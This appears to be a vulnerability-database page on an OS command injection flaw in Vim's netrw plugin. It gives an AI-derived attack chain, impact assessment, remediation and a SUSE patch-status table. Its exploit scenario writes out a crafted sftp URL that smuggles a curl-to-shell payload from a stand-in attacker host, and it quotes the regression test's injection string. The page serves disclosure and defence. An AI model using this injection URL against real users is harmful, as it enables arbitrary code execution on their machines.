Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts sftp:// or file:// URL with shell metacharacters in filename suffix
-
DeliverySocial engineering delivers URL to Vim user (phishing, malicious repo, shared file)
-
ExploitUser opens URL in Vim with netrw active
-
Installnetrw extracts unsanitized suffix into tmpfile path
-
C2Unescaped tmpfile argument passed to sftp or file shell command
-
ExecuteShell interprets injected metacharacters and executes attacker payload
-
ImpactArbitrary commands run as the Vim process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the target user to open a crafted URL within Vim with the netrw plugin active. The netrw plugin loads by default in standard Vim installations, so no special user configuration is required on the victim side. The attacker must control the URL presented to the victim - this is typically achieved through social engineering (phishing, malicious project files, crafted documentation). The CVSS UI:R metric confirms user interaction is mandatory. Exploitation is limited to local execution (AV:L): the attack cannot be triggered purely over the network without the user explicitly opening the URL in Vim. The resulting command executes with the privileges of the Vim process, which is ordinarily the standard user account - escalation to root is not provided by this vulnerability alone. Conditions that limit exploitation include: disabling netrw via g:loaded_netrwPlugin, running Vim without network protocol support, or using a Vim build that patches the netrw plugin prior to 9.2.0383. |
| Impact | The vendor-assigned CVSS 3.1 score of 4.4 (Medium) with vector AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N reflects local attack surface and required user interaction, but the C:L/I:L impact ratings appear conservative given that OS command injection at user privilege level typically yields full read/write access to all files owned by the process owner. An independent reassessment raises the impact metrics to C:H/I:H, producing a significantly higher score - this discrepancy should be noted by defenders. EPSS at 0.26% (49th percentile) is low, consistent with SSVC exploitation status of 'none' and non-automatable attack classification, meaning no widespread scanning or scripted exploitation is observed. The attack is constrained to social-engineering scenarios where an attacker must convince a Vim user to open a malicious URL, reducing realistic risk substantially compared to pure network-reachable vulnerabilities. KEV status is absent. Taken together, this vulnerability warrants patching on a standard schedule rather than emergency response, but the actual command-execution impact is more serious than the vendor CVSS score implies. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as sftp://attacker-controlled-host/document.txt;curl${IFS}attacker.com/payload|sh and embeds it in a phishing email, a README file in a cloned repository, or a shared project file. When the targeted user opens this URL in Vim - for instance via :e or by clicking the link in a terminal - netrw extracts the suffix including the injected semicolon and subsequent command, constructs a tmpfile path containing the payload, and passes it unescaped to the shell via sftp, causing the attacker's command to execute under the user's account. The commit diff's regression test (Test_netrw_tempfile_suffix_injection) demonstrates the exact mechanism using sftp://localhost/foo.txt;id>Xrce_marker. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 24, 2026
OS command injection in Vim's netrw plugin prior to version 9.2.0383 allows arbitrary shell command execution at the privilege level of the Vim process when a user is induced to open a crafted sftp:// or file:// URL. The root cause is a two-part failure: the temporary file suffix extracted from the remote filename was not restricted to safe characters, and the resulting tmpfile path was passed unescaped to shell command construction in netrw#os#Execute(). No public exploit has been identified at time of analysis and SSVC confirms no observed exploitation, but the commit diff includes a regression test that demonstrates the injection path directly.
RemediationAI
The primary remediation is upgrading Vim to version 9.2.0383 or later, available at the official tagged release https://github.com/vim/vim/releases/tag/v9.2.0383. Ubuntu users should apply the packages referenced in USN-8304-1. If immediate patching is not feasible, the most effective compensating control is to disable the netrw plugin entirely by adding 'let g:loaded_netrwPlugin = 1' to the Vim vimrc configuration before netrw loads - this prevents all netrw functionality from initializing and eliminates the vulnerable code path, with the trade-off that all netrw-based remote browsing and file retrieval (sftp://, ftp://, file://, etc.) will cease to function. A narrower mitigation is to avoid opening URLs from untrusted sources within Vim, though this relies on user discipline rather than technical enforcement. Organizations using Red Hat or Ubuntu distributions should monitor vendor security channels for packaged updates.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerable component is Vim's netrw standard plugin (runtime/pack/dist/opt/netrw/autoload/netrw.vim), which provides remote file browsing and retrieval via protocols including sftp:// and file://. When fetching a remote file, netrw extracts a suffix from the remote filename using the regex \.[^./]\+$ and appends it to a locally-constructed temporary filename. Prior to the fix, this regex permitted any character except dot and slash in the suffix, meaning shell metacharacters such as semicolons, ampersands, and spaces were allowed. The unsanitized suffix then appeared in the tmpfile path, which was passed without quoting to netrw#os#Execute() - producing shell commands like sftp host:/foo.txt;id>/tmp/injected - causing the shell to interpret the injected fragment as a separate command. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) precisely describes this failure. The fix applies two mitigations: restricting the suffix regex to \w\+$ (word characters only) and wrapping the tmpfile argument with netrw#os#Escape() in both the sftp and file command invocations, with the unused g:netrw_tmpfile_escape variable removed as it provided no real protection. CPE cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* indicates all platform-agnostic Vim builds are affected.
Know when Vim gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OS command injection yields arbitrary execution as the user; C:H/I:H better reflects full user-level file access than vendor's C:L/I:L.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
DescriptionCVE.org
Vim is an open source, command line text editor. Prior to version 9.2.0383, an OS command injection vulnerability exists in the netrw standard plugin bundled with Vim. By inducing a user to open a crafted URL (e.g., using the sftp:// or file:// protocol handlers), an attacker can execute arbitrary shell commands with the privileges of the Vim process. This issue has been patched in version 9.2.0383.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)CVE.org
Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln
Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this
Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon
getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th
vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita
Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu
Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se
vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability
Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| SLES15-SP5-CHOST-BYOS-SAP-CCloud | Fixed |
| SLES15-SP6-CHOST-BYOS | Fixed |
| SLES15-SP6-CHOST-BYOS-Aliyun | Fixed |
| SLES15-SP6-CHOST-BYOS-Azure | Fixed |
| SLES15-SP6-CHOST-BYOS-EC2 | Fixed |
| SLES15-SP6-CHOST-BYOS-GCE | Fixed |
| SLES15-SP6-CHOST-BYOS-GDC | Fixed |
| SLES15-SP6-CHOST-BYOS-SAP-CCloud | Fixed |
| SLES15-SP7-CHOST-BYOS-Aliyun | Fixed |
| SLES15-SP7-CHOST-BYOS-Azure | Fixed |
| SLES15-SP7-CHOST-BYOS-EC2 | Fixed |
| SLES15-SP7-CHOST-BYOS-GCE | Fixed |
| SLES15-SP7-CHOST-BYOS-GDC | Fixed |
| SLES15-SP7-CHOST-BYOS-SAP-CCloud | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Micro 5.3 | Fixed |
| SUSE Linux Enterprise Micro 5.4 | Fixed |
| SUSE Linux Enterprise Micro 5.5 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Desktop Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 16.0 | Fixed |
| SUSE Linux Enterprise Server 16.1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Fixed |
| SUSE Linux Micro 6.0 | Fixed |
| SUSE Linux Micro 6.1 | Fixed |
| SUSE Linux Micro 6.2 | Fixed |
| SLES15-SP3-CHOST-BYOS-Aliyun | Fixed |
| SLES15-SP3-CHOST-BYOS-Azure | Fixed |
| SLES15-SP3-CHOST-BYOS-EC2 | Fixed |
| SLES15-SP3-CHOST-BYOS-GCE | Fixed |
| SLES15-SP3-CHOST-BYOS-SAP-CCloud | Fixed |
| SLES15-SP4-CHOST-BYOS | Fixed |
| SLES15-SP4-CHOST-BYOS-Aliyun | Fixed |
| SLES15-SP4-CHOST-BYOS-Azure | Fixed |
| SLES15-SP4-CHOST-BYOS-EC2 | Fixed |
| SLES15-SP4-CHOST-BYOS-GCE | Fixed |
| SLES15-SP4-CHOST-BYOS-SAP-CCloud | Fixed |
| SLES15-SP5-CHOST-BYOS-Aliyun | Fixed |
| SLES15-SP5-CHOST-BYOS-Azure | Fixed |
| SLES15-SP5-CHOST-BYOS-EC2 | Fixed |
| SLES15-SP5-CHOST-BYOS-GCE | Fixed |
| SLES15-SP5-CHOST-BYOS-GDC | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Desktop Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Desktop Applications 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Desktop Applications 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 12 SP5 | Fixed |
| SUSE Linux Enterprise Server 12 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 12 SP5-LTSS Extended Security | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server LTSS Extended Security 12 SP5 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Retail Branch Server LTS 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE CaaS Platform 3.0 | Fixed |
| SUSE CaaS Platform 4.0 | Fixed |
| SUSE Enterprise Storage 6 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Linux Enterprise Desktop 12 | Fixed |
| SUSE Linux Enterprise Desktop 12 SP1 | Fixed |
| SUSE Linux Enterprise Desktop 12 SP2 | Fixed |
| SUSE Linux Enterprise Desktop 12 SP3 | Fixed |
| SUSE Linux Enterprise Desktop 12 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP1 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP2 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP3 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP4 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP5 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15-LTSS | Fixed |
| SUSE Linux Enterprise Micro 5.0 | Fixed |
| SUSE Linux Enterprise Micro 5.1 | Fixed |
| SUSE Linux Enterprise Micro 5.2 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP1 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP3 | Fixed |
| SUSE Linux Enterprise Module for Desktop Applications 15 | Fixed |
| SUSE Linux Enterprise Module for Desktop Applications 15 SP1 | Fixed |
| SUSE Linux Enterprise Module for Desktop Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Desktop Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Point of Sale 12 SP2-CLIENT | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 12 | Fixed |
| SUSE Linux Enterprise Server 12 SP1 | Fixed |
| SUSE Linux Enterprise Server 12 SP1-LTSS | Fixed |
| SUSE Linux Enterprise Server 12 SP2 | Fixed |
| SUSE Linux Enterprise Server 12 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 12 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise Server 12 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 12 SP3 | Fixed |
| SUSE Linux Enterprise Server 12 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 12 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise Server 12 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server 12 SP4 | Fixed |
| SUSE Linux Enterprise Server 12 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise Server 12 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 12-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 | Fixed |
| SUSE Linux Enterprise Server 15 SP1 | Fixed |
| SUSE Linux Enterprise Server 15 SP1-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server 15-LTSS | Fixed |
| SUSE Linux Enterprise Server for Raspberry Pi 12 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 12 SP1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 12 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 12 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 12 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy 4.0 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.0 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Server 4.0 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| SUSE OpenStack Cloud 7 | Fixed |
| SUSE OpenStack Cloud 8 | Fixed |
| SUSE OpenStack Cloud 9 | Fixed |
| SUSE OpenStack Cloud Crowbar 8 | Fixed |
| SUSE OpenStack Cloud Crowbar 9 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap Micro 5.2 | Fixed |
| openSUSE Leap Micro 5.3 | Fixed |
| openSUSE Leap Micro 5.4 | Fixed |
| openSUSE Leap Micro 5.5 | Fixed |
| SLES-CHOST-BYOS-Aliyun | Fixed |
| SLES-CHOST-BYOS-Azure | Fixed |
| SLES-CHOST-BYOS-EC2 | Fixed |
| SLES-CHOST-BYOS-GCE | Fixed |
| SLES-CHOST-BYOS-GDC | Fixed |
| SLES-CHOST-BYOS-SAP-CCloud | Fixed |
| SUSE Linux Micro Extras 6.0 | Fixed |
| SUSE Linux Micro Extras 6.1 | Fixed |
| bci/dotnet-aspnet:5.0 bci/dotnet-runtime:5.0 bci/dotnet-sdk:5.0 kiwi-templates-Minimal kiwi-templates-Minimal-Cloud-sap kiwi-templates-Minimal-MS-HyperV-sap kiwi-templates-Minimal-VMware-sap kiwi-templates-Minimal-kvm-and-xen-sap ses/7.1/ceph/haproxy suse/manager/5.0/x86_64/server suse/multi-linux-manager/5.1/x86_64/server suse/multi-linux-manager/5.2/x86_64/server suse/sle-micro/5.0/toolbox suse/sle-micro/5.1/toolbox suse/sle-micro/5.2/toolbox suse/sle-micro/5.3/toolbox suse/sle-micro/5.4/toolbox suse/sle-micro/5.5/toolbox suse/sles/15.2/virt-launcher:0.38.1 suse/sles/15.3/virt-launcher:0.45.0 suse/sles/15.4/virt-launcher:0.49.0 suse/sles/16.0/toolbox | Fixed |
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB